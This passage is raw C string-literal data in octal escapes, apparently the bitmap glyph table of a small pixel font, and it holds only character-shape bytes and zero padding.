\"\\0\\0\\0\\0\\0\\0\\1\\1\\0\\1\\37\\37\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\230\\10\\10\\230\\360`\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\31\\311\\355\\65\\24\\26\\62\\342\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\2\\2\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\60\\60\\60p`\\0\\0\\0\\0\\0\\0\\0\\0\\340\\371\\37\\16\\34\\270\\360\\360\\270\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\1\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\70\\60\\0\\0\\0\\0\\0\\0\\0\\0\\14\\34\\370\\340\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\70\\37\\7\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0``\\300\\300\\374\\374\\300\\300``\\0\\0\\0\\0\\0\\0\\0\\30\\36\\16\\3\\3\\16\\36\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\377\\377\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340x\\36\"\n  \"\\6\\0\\0\\0\\0\\0\\0\\0\\200\\340x\\36\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\30\\36\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\370\\30\\14\\14\\14\\14\\30\\370\\340\\0\\0\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\200\\377\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\34\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0px\\34\\14\\14\\14\\14\\34\\370\\360\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\34\\16\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\60\\70\\34\\14\\14\\14\\14\\234\\370\\360\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\200\\0\\6\\6\\6\\7\\217\\375\\370\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\70\\34\\374\\374\\0\\0\\0\\0\\0\\0\\0\\60<\\77\\63\\60\\60\\60\\377\\377\\60\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\374\\374\\14\\214\\214\\214\\214\\14\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\303\\203\\3\\1\\1\\1\\203\\307\\377|\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\70\\30\\34\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\177\\377\\306\\203\\3\\3\\3\\207\\376\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\34\\34\\14\\14\\14\\14\\14\\314\\374<\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\30\\14\\14\\14\\14\\30\\370\\360\\0\\0\\0\\0\\0\\0\\370\\375\\217\\6\\6\\6\\6\\217\\375\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\30\\14\\14\\14\\14\\30\\370\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\7\\17\\34\\30\\30\\30\\214\\306\\377\\77\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300`` \\0\\0\\0\\14\\14\\36\\36\\63\\63aa\\300\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\63\\63\\63\\63\\63\\63\\63\\63\\63\\63\\63\\63\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 ``\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300aa\\63\\63\\36\\36\"\n  \"\\14\\14\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\30\\30\\30\\30\\70\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\270\\274\\14\\6\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\370\\30\\14\\14\\214\\230\\370\\340\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\36\\77sa\\177\\177`\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\7\\6\\14\\14\\14\\14\\6\\6\\0\\0\\0\\0\\0\\0\\0\\30\\30\\230\\370xx\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\70\\360\\340\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\6\\6\\7\\217\"\n  \"\\375\\370\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\60\\370\"\n  \"\\370\\0\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\30\\60\\360\\340\\200\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\377\\77\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\230\\230\\30\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\\340\\340\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\230\\230\\30\\30\\370\\370\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\30\\60\"\n  \"\\370\\370\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\30\\30\\30\\230\\370\\370\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\30\\30\\370\\370\\30\\30\\0\\0\\30\\30\\370\\370\\30\\30\\0\\0\\0\\0\\377\\377\\6\\6\\6\\6\\6\\6\\377\\377\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\30\\30\\30\\30\\370\\370\\30\\30\\30\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\30\\370\\370\\30\\30\\30\\0\\0\\0\\360\\360\\200\\0\\0\\0\\0\\200\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\30\\30\\370\\370\\30\\30\\200\\300\\370x\\70\\30\"\n  \"\\30\\0\\0\\0\\0\\0\\377\\377\\16\\7\\17\\35\\70\\360\\340\\200\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\30\\30\\370\\370\\30\\30\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\340\"\n  \"\\340\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\30\\370\\370x\\340\\200\\0\\0\\200\\340x\\370\"\n  \"\\370\\30\\0\\0\\0\\377\\377\\0\\3\\7\\34\\34\\7\\3\\0\\377\\377\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\370\\370x\\340\\200\\0\\0\\30\\30\\370\\370\\30\\0\\0\\0\\0\\377\\377\\0\\1\\7\\36x\\340\\200\\377\"\n  \"\\377\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\1\\3\\3\\3\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\60\\360\"\n  \"\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\\377\\77\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\30\\60\\360\\340\\0\\0\\0\\0\\0\\377\\377\\30\\30\\30\\30\\30\\30\\14\"\n  \"\\17\\7\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\60\\360\"\n  \"\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\\377\\77\\0\\0\\0\\0\\0\\31\\31\\37\\17\\17\\33\\33\\31\\31\"\n  \"\\14\\14\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\60\\360\\340\\0\\0\\0\\0\\0\\0\\377\\377\\14\\14\\14\\34<\\366\\347\\203\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\0\\340\\360\\70\\30\\30\\30\\30\\30\\60\\370\"\n  \"\\370\\0\\0\\0\\0\\340\\341\\203\\7\\6\\6\\16\\14\\14\\234\\370\\360\\0\\0\\0\\0\\3\\3\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\30\\30\\30\\370\\370\\30\\30\\30\\370\\370\\0\\0\\0\\0\\1\\1\\0\\0\\0\\377\\377\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\30\\370\\370\\30\\30\\0\\0\\0\\30\\30\\370\"\n  \"\\370\\30\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\0\\200\\377\\177\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\30x\\370\\230\\30\\0\\0\\0\\0\\30\\230\\370x\\30\\0\\0\\0\\0\\3\\37|\\340\\200\\200\\340|\\37\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\30\\370\\370\\30\\30\\0\\300\\300\\0\\30\\30\\370\"\n  \"\\370\\30\\0\\0\\0\\37\\377\\340\\374\\77\\7\\7\\77\\374\\340\\377\\37\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\30\\70x\\370\\330\\230\\0\\0\\230\\330\\370x\\70\\30\\0\\0\\0\\200\\300\\340q;\\17\\17;q\\340\\300\"\n  \"\\200\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\30\\70x\\370\\330\\30\\0\\0\\30\\330\\370x\"\n  \"\\70\\30\\0\\0\\0\\0\\0\\0\\3\\7\\376\\376\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\30\\30\\30\\30\\230\\330\\370x\\70\\0\\0\\0\\0\\0\\200\\300\\340x<\\16\\7\\3\\0\\340\"\n  \"\\340\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\14\\14\\14\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\60\\60\\60\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\6\\36x\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\36x\\340\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\36\\30\\0\\0\\0\\0\\0\\0\\14\\14\\14\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\77\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360<<\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\"\n  \"\\60\\60\\60\\0\\0\\0\\0\\0\\10\\30\\60`@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\14\\14\\374\\374\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\307\\203\\1\\1\\1\\203\\307\"\n  \"\\377|\\0\\0\\0\\3\\3\\3\\3\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\200\"\n  \"\\200\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\3\\207\\217\\217\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\214\\14\\374\\374\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\203\\307\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\367\\263\\61\\61\\61\\61\\63\\267\\277\\274\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\200\\200\\200\\360\\370\\234\\214\\214\\214\\214\\14\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\203\\307\\377\\377\\1\\1\\0\\0\\0\\0\\1acccccq\\77\\37\"\n  \"\\0\\0\\0\\0\\14\\14\\374\\374\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\7\\3\\1\\1\\1\\3\\377\\376\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\200\\200\\234\\234\\234\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\234\\234\\234\\200\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0`````p\\77\\37\\0\\0\\0\\0\\0\\0\\0\\14\\14\\374\\374\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\30<~\\347\\303\\201\\1\\0\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\14\\14\\14\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\200\\200\\200\\0\\200\\200\\200\\200\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\1\\1\\377\\377\\3\\1\\1\\377\\377\\3\\1\\1\\377\\377\\0\\0\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\0\"\n  \"\\3\\3\\3\\3\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\6\\3\\1\\1\\1\\3\\377\\376\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377|\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\200\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\307\\203\\1\\1\\1\\203\\307\\377\"\n  \"|\\0\\0\\0``\\177\\177acc\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\203\\307\\377\\377\\1\\1\\0\\0\\0\\0\\1\\1\\3\\3\\3cca\\177\\177\"\n  \"``\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\7\\3\\1\\1\\1\\3\"\n  \"\\3\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\306\\317\\217\\31\\31\\71\\61\\63\\347\\347\\300\\0\\0\\0\\0\\0\\3\\3\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\370\\370\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\201\\1\\1\\1\\201\\201\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\1\\1\\377\\377\\200\\0\\0\\0\\1\\201\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\3\\3\"\n  \"\\3\\3\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\1\\1\\7\\37y\\341\\200\\200\\341y\\37\\7\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\1\\7\\177\\371\\301\\360>>\\360\\301\\371\\177\\7\\1\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\1\\1\\203\\307m\\70\\70m\\307\\203\\1\"\n  \"\\1\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\1\\7\\37}\\361\\200\\300\\361}\\37\\7\\1\\0\\0\\0\\0```p}\\177g\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\207\\307\\341q\\71\\35\\17\\7\\303\\301\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\14\\4\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\377\\367\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\60  \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\14\\370\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\367\\377\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0  \\60\\37\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\16\\6\\6\\16\\34\\30\\30\\34\\16\"\n  \"\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  